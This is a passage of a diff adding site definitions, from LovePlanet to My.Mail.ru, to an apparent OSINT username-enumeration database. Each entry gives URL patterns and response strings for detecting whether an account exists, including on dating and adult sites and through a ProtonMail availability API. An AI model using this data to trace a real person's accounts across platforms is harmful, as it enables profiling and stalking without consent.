"https://loveplanet.ru", + "url": "https://loveplanet.ru/page/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lowcygier.pl": { + "checkType": "message", + "presenseStrs": [ + "Zarejestrowany" + ], + "absenceStrs": [ + "B\u0142\u0105d 404 - Podana strona nie istnieje" + ], + "url": "https://bazar.lowcygier.pl/user/{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lurkmore": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 46272, + "urlMain": "http://lurkmore.to", + "url": "http://lurkmore.to/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{username}", + "usernameClaimed": "Finstergeist", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lushstories": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 171158, + "urlMain": "https://www.lushstories.com", + "url": "https://www.lushstories.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mac-help": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 1112345, + "urlMain": "https://www.mac-help.com", + "usernameClaimed": "newsbot", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MacPlanete": { + "tags": [ + "forum", + "fr", + "ma" + ], + "engine": "XenForo", + "alexaRank": 1669310, + "urlMain": "https://forum.macplanete.com", + "usernameClaimed": "pascal971", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Maccentre": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 1267370, + "urlMain": "https://maccentre.ru", + "url": "https://maccentre.ru/board/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Macosx": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 726222, + "urlMain": "https://macosx.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Macqa": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://macqa.ru", + "url": "https://macqa.ru/member/{username}/", + "usernameClaimed": "vika", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mactalk": { + "tags": [ + "au", + "in", + "pk" + ], + "checkType": "message", + "absenceStrs": [ + "MacTalk" + ], + "alexaRank": 5722044, + "urlMain": "http://www.mactalk.com.au/", + "url": "http://www.mactalk.com.au/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Maga-Chat": { + "checkType": "message", + "absenceStrs": [ + "Page Not Be Found" + ], + "presenseStrs": [ + "Recent Updates" + ], + "url": "https://maga-chat.com/{username}", + "usernameClaimed": "jfc_haaber_89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mag-portal": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1797476, + "urlMain": "https://mag-portal.ru", + "url": "https://mag-portal.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "solp", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Magabook": { + "checkType": "message", + "absenceStrs": [ + "Page Not Be Found" + ], + "presenseStrs": [ + "Recent Updates" + ], + "url": "https://magabook.com/{username}", + "usernameClaimed": "eric", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Magiimir": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://magiimir.com", + "url": "https://magiimir.com/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "olya", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7006711 + }, + "Magix": { + "checkType": "message", + "absenceStrs": [ + "(404 - Page not found.)" + ], + "alexaRank": 168753, + "urlMain": "https://www.magix.info", + "url": "https://www.magix.info/us/users/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MaidenFans": { + "tags": [ + "forum", + "in" + ], + "engine": "XenForo", + "alexaRank": 1118824, + "urlMain": "https://forum.maidenfans.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mama": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "presenseStrs": [ + "b-user-fullname" + ], + "alexaRank": 551160, + "urlMain": "https://mama.ru", + "url": "https://mama.ru/members/{username}", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mamochki": { + "tags": [ + "by", + "ru" + ], + "checkType": "status_code", + "urlMain": "https://mamochki.by/", + "url": "https://mamochki.by/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4938389 + }, + "Mamot": { + "tags": [ + "mastodon" + ], + "checkType": "status_code", + "urlMain": "https://mamot.fr", + "url": "https://mamot.fr/@{username}", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + }, + "Mamuli": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 1340670, + "urlMain": "https://mamuli.club/", + "url": "https://mamuli.club/profile/{username}", + "usernameClaimed": "Milypa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Manutd": { + "tags": [ + "forum", + "sport" + ], + "checkType": "status_code", + "alexaRank": 31730, + "urlMain": "https://manutd.one", + "url": "https://manutd.one/user/{username}", + "usernameClaimed": "Becks", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mapify.travel": { + "checkType": "message", + "presenseStrs": [ + "class=\"control-center\"" + ], + "absenceStrs": [ + "Nothing found - Mapify" + ], + "url": "https://mapify.travel/{username}", + "usernameClaimed": "mapify", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mapillary Forum": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 524835, + "urlMain": "https://forum.mapillary.com", + "usernameClaimed": "slashme", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MapMyTracks": { + "checkType": "message", + "absenceStrs": [ + "Sorry, there is nothing to see here" + ], + "presenseStrs": [ + "Daily distance this week" + ], + "url": "https://www.mapmytracks.com/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Marshmallow": { + "checkType": "message", + "absenceStrs": [ + "\u3054\u6307\u5b9a\u306e\u30da\u30fc\u30b8\u306f\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f" + ], + "presenseStrs": [ + "\u3055\u3093\u306b\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u304a\u304f\u308b" + ], + "url": "https://marshmallow-qa.com/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Martech": { + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "twitter:site" + ], + "url": "https://martech.org/author/{username}/", + "usernameClaimed": "james-green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MassageAnywhere": { + "checkType": "message", + "absenceStrs": [ + "MassageAnywhere.com: Search Results" + ], + "presenseStrs": [ + "MassageAnywhere.com Profile for " + ], + "url": "https://www.massageanywhere.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mastera-forum": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 3262221, + "urlMain": "https://www.mastera-forum.ru", + "usernameClaimed": "grunja", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Masterkrasok": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 402031, + "urlMain": "https://masterkrasok.ru", + "url": "https://masterkrasok.ru/{username}", + "usernameClaimed": "husnullin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mastersofcrypto": { + "tags": [ + "forum" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "urlMain": "https://mastersofcrypto.com", + "url": "https://mastersofcrypto.com/forum/members/?username={username}", + "usernameClaimed": "kintum", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2838862 + }, + "Math10": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "phpBB", + "alexaRank": 76773, + "urlMain": "https://www.math10.com/", + "usernameClaimed": "phw", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mathhelpplanet": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 185231, + "urlMain": "http://mathhelpplanet.com", + "url": "http://mathhelpplanet.com/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Maxpark": { + "disabled": true, + "tags": [ + "news", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041e\u0428\u0418\u0411\u041a\u0410 50x", + "\u041e\u0428\u0418\u0411\u041a\u0410 404" + ], + "alexaRank": 66775, + "urlMain": "https://maxpark.com", + "url": "https://maxpark.com/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mbclub": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<!-- j_requested_page_not_found -->" + ], + "alexaRank": 315579, + "urlMain": "https://www.mbclub.ru/", + "url": "https://mbclub.ru/members/{username}", + "usernameClaimed": "qruiser.308", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mcbans": { + "tags": [ + "us" + ], + "checkType": "response_url", + "presenseStrs": [ + "Issued Bans" + ], + "alexaRank": 2671714, + "urlMain": "https://www.mcbans.com", + "url": "https://www.mcbans.com/player/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mcuuid": { + "checkType": "message", + "absenceStrs": [ + "minecraft.api_failure" + ], + "presenseStrs": [ + "Successfully found player by given ID." + ], + "url": "https://playerdb.co/api/player/minecraft/{username}", + "usernameClaimed": "bob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mdregion": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 344586, + "urlMain": "https://www.mdregion.ru/", + "usernameClaimed": "Nadka", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mdshooters": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 296538, + "urlMain": "https://www.mdshooters.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mediarepost": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 3843048, + "urlMain": "https://mediarepost.ru", + "url": "https://mediarepost.ru/@{username}", + "usernameClaimed": "Solo_", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Medikforum": { + "disabled": true, + "tags": [ + "de", + "forum", + "nl", + "ru", + "ua" + ], + "errors": { + "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e": "Rate limit" + }, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 103341, + "urlMain": "https://www.medikforum.ru", + "url": "https://www.medikforum.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Medium": { + "tags": [ + "blog", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "userPostCounts" + ], + "absenceStrs": [ + ":{\"__typename\":\"NotFound\"},\"viewer\"" + ], + "alexaRank": 66, + "urlMain": "https://medium.com/", + "url": "https://medium.com/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Medyczka.pl": { + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "presenseStrs": [ + "Lista uzytkownikow" + ], + "url": "http://medyczka.pl/user/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Meendo": { + "tags": [ + "bg", + "kg", + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 432700, + "urlMain": "https://www.meendo.net", + "url": "https://www.meendo.net/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MeetMe": { + "tags": [ + "in", + "us" + ], + "errors": { + "fa fa-spinner fa-pulse loading-icon-lg": "Registration page" + }, + "checkType": "response_url", + "alexaRank": 41961, + "urlMain": "https://www.meetme.com/", + "url": "https://www.meetme.com/{username}", + "errorUrl": "https://www.meetme.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Megamodels.pl": { + "checkType": "message", + "absenceStrs": [ + "OSTATNIO AKTYWNE PROFILE" + ], + "presenseStrs": [ + "Portfolio" + ], + "url": "http://megamodels.pl/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Megane2": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 788808, + "urlMain": "http://megane2.ru/", + "url": "http://megane2.ru/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Memrise": { + "tags": [ + "jp", + "us" + ], + "checkType": "response_url", + "alexaRank": 8823, + "urlMain": "https://www.memrise.com/", + "url": "https://www.memrise.com/user/{username}/", + "errorUrl": "https://www.memrise.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MetaDiscourse": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 27985, + "urlMain": "https://meta.discourse.org/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ProtonMail": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Username already used" + ], + "absenceStrs": [ + "\"Code\": 1000" + ], + "headers": { + "X-Pm-Appversion": "web-account@4.28.2" + }, + "alexaRank": 27985, + "url": "https://account.protonmail.com/api/users/available?Name={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Metacafe": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Channel is temporarily not available" + ], + "alexaRank": 22904, + "urlMain": "https://www.metacafe.com/", + "url": "https://www.metacafe.com/channels/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Metal-archives": { + "tags": [ + "de", + "music", + "pl", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Points:" + ], + "absenceStrs": [ + "User not found" + ], + "alexaRank": 15612, + "urlMain": "https://www.metal-archives.com", + "url": "https://www.metal-archives.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Microchip": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 2924330, + "urlMain": "http://www.microchip.su", + "usernameClaimed": "nightavenger", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MicrosoftTechNet": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 21, + "urlMain": "https://social.technet.microsoft.com", + "url": "https://social.technet.microsoft.com/profile/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Minecraft-statistic": { + "tags": [ + "ru", + "ua", + "us" + ], + "checkType": "status_code", + "alexaRank": 660021, + "urlMain": "https://minecraft-statistic.net", + "url": "https://minecraft-statistic.net/ru/player/{username}.html", + "usernameClaimed": "Right", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Minecraftlist": { + "checkType": "message", + "absenceStrs": [ + "0 Minecraft servers recently" + ], + "presenseStrs": [ + "was seen on" + ], + "url": "https://minecraftlist.com/players/{username}", + "usernameClaimed": "dream", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MinecraftOnly": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 393218, + "urlMain": "https://minecraftonly.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Miped": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 67599, + "urlMain": "https://miped.ru", + "url": "https://miped.ru/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MirTesen": { + "similarSearch": true, + "tags": [ + "news", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0412\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + ], + "presenseStrs": [ + "<span>\u041b\u044e\u0434\u0438</span>" + ], + "alexaRank": 6409, + "urlMain": "https://mirtesen.ru", + "url": "https://mirtesen.ru/people/{username}/profile", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mistrzowie": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Profil u\u017cytkownika" + ], + "url": "https://mistrzowie.org/user/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mix": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 10257, + "urlMain": "https://mix.com", + "url": "https://mix.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MixCloud": { + "tags": [ + "music" + ], + "urlProbe": "https://api.mixcloud.com/{username}/", + "checkType": "status_code", + "alexaRank": 3270, + "urlMain": "https://www.mixcloud.com/", + "url": "https://www.mixcloud.com/{username}/", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mixlr": { + "tags": [ + "gb" + ], + "checkType": "status_code", + "urlMain": "http:/mixlr.com/", + "url": "http://api.mixlr.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mixupload": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c" + ], + "alexaRank": 159856, + "urlMain": "https://mixupload.com/", + "url": "https://mixupload.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mobile-files": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "vBulletin", + "alexaRank": 130297, + "urlMain": "https://www.mobile-files.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mobrep": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<div class=\"users\">\n <ul>\n </ul>" + ], + "alexaRank": 387120, + "urlMain": "https://www.mobrep.ru", + "url": "https://www.mobrep.ru/users?criteria={username}", + "usernameClaimed": "alextsaryev99", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mobypicture": { + "tags": [ + "photo" + ], + "checkType": "message", + "absenceStrs": [ + "User not found" + ], + "presenseStrs": [ + "Last mentioned in:" + ], + "alexaRank": 18618, + "urlMain": "http://www.mobypicture.com", + "url": "http://www.mobypicture.com/user/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ModDB": { + "tags": [ + "au", + "cn", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 6402, + "urlMain": "https://www.moddb.com/", + "url": "https://www.moddb.com/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Modx_pro": { + "tags": [ + "ru", + "uz" + ], + "checkType": "status_code", + "alexaRank": 249537, + "urlMain": "https://modx.pro", + "url": "https://modx.pro/users/{username}", + "usernameClaimed": "vgrish", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MoiKrug": { + "tags": [ + "career", + "us" + ], + "checkType": "status_code", + "alexaRank": 140879, + "urlMain": "https://moikrug.ru/", + "url": "https://moikrug.ru/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Money-talk": { + "tags": [ + "in", + "ua" + ], + "errors": { + "Could not connect to the database": "Site error", + "You have been banned from this forum.": "IP ban" + }, + "checkType": "message", + "absenceStrs": [ + ">Contact </span></td>" + ], + "alexaRank": 666935, + "urlMain": "http://www.money-talk.org", + "url": "http://www.money-talk.org/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Gaia1956", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "MoneySavingExpert": { + "tags": [ + "forum", + "gb" + ], + "checkType": "status_code", + "alexaRank": 10821, + "urlMain": "https://forums.moneysavingexpert.com", + "url": "https://forums.moneysavingexpert.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Monkingme": { + "disabled": true, + "tags": [ + "es", + "in", + "ir" + ], + "checkType": "message", + "absenceStrs": [ + "<h1>Not Found</h1>" + ], + "alexaRank": 295109, + "urlMain": "https://www.monkingme.com/", + "url": "https://www.monkingme.com/artist/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MoscowFlamp": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u0430\u043a\u0438\u0445 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0434\u0435\u043b\u0430\u044e\u0442" + ], + "alexaRank": 21348, + "urlMain": "https://moscow.flamp.ru/", + "url": "https://moscow.flamp.ru/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Motokiller": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Zamieszcza materia\u0142y od:" + ], + "url": "https://mklr.pl/user/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Motorradfrage": { + "checkType": "status_code", + "url": "https://www.motorradfrage.net/nutzer/{username}", + "usernameClaimed": "gutefrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Motorka": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 339514, + "urlMain": "https://forum.motorka.org", + "usernameClaimed": "zavitay", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mouthshut": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 9854, + "urlMain": "https://www.mouthshut.com/", + "url": "https://www.mouthshut.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Movescount": { + "tags": [ + "maps" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "error=4&" + ], + "alexaRank": 141905, + "urlMain": "http://www.movescount.com", + "url": "http://www.movescount.com/en/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Movie-forum": { + "tags": [ + "forum", + "pk" + ], + "engine": "vBulletin", + "alexaRank": 1242615, + "urlMain": "https://movie-forum.co", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Movie-list": { + "urlSubpath": "/forum", + "tags": [ + "ca", + "forum", + "in", + "pk" + ], + "engine": "vBulletin", + "alexaRank": 670388, + "urlMain": "https://www.movie-list.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Movieforums": { + "tags": [ + "forum", + "in", + "la" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 198401, + "urlMain": "https://www.movieforums.com", + "url": "https://www.movieforums.com/community/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mozilla Support": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + ">Page Not Found</h1>", + "error-page", + "sumo-page-intro", + "search-results-visible page-not-found", + "search-empty" + ], + "alexaRank": 172, + "urlMain": "https://support.mozilla.org", + "url": "https://support.mozilla.org/en-US/user/{username}/", + "usernameClaimed": "derekmarable", + "usernameUnclaimed": "tasgcxxxcz", + "presenseStrs": [ + "user-nav", + "</article>", + "sidebar-nav", + "noindex", + "sidebar-nav--item" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" + } + }, + "Mpgh": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "jp", + "us" + ], + "engine": "vBulletin", + "alexaRank": 39467, + "urlMain": "https://www.mpgh.net/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Msofficeforums": { + "tags": [ + "forum", + "ir", + "us" + ], + "engine": "vBulletin", + "alexaRank": 170905, + "urlMain": "https://www.msofficeforums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MuffinGroup": { + "tags": [ + "forum", + "gaming" + ], + "checkType": "status_code", + "urlMain": "https://forum.muffingroup.com", + "url": "https://forum.muffingroup.com/betheme/profile/{username}", + "usernameClaimed": "charlie27", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 8613 + }, + "Munzee": { + "disabled": true, + "tags": [ + "gb" + ], + "checkType": "status_code", + "urlMain": "https://www.munzee.com/", + "url": "https://www.munzee.com/m/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 199809 + }, + "MurmanskLife": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<span class=\"userName\"></span>", + "error404-404" + ], + "urlMain": "http://murmansk-life.ru", + "url": "http://murmansk-life.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Music-rock": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://music-rock.ru/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7864999 + }, + "Musiker-board": { + "disabled": true, + "tags": [ + "de", + "forum" + ], + "engine": "XenForo", + "alexaRank": 171473, + "urlMain": "https://www.musiker-board.de", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My-question": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 406064, + "urlMain": "https://my-question.ru", + "url": "https://my-question.ru/user/{username}", + "usernameClaimed": "nunny_zn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@OK": { + "tags": [ + "ru" + ], + "type": "ok_id", + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "<title>\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/ok/{username}", + 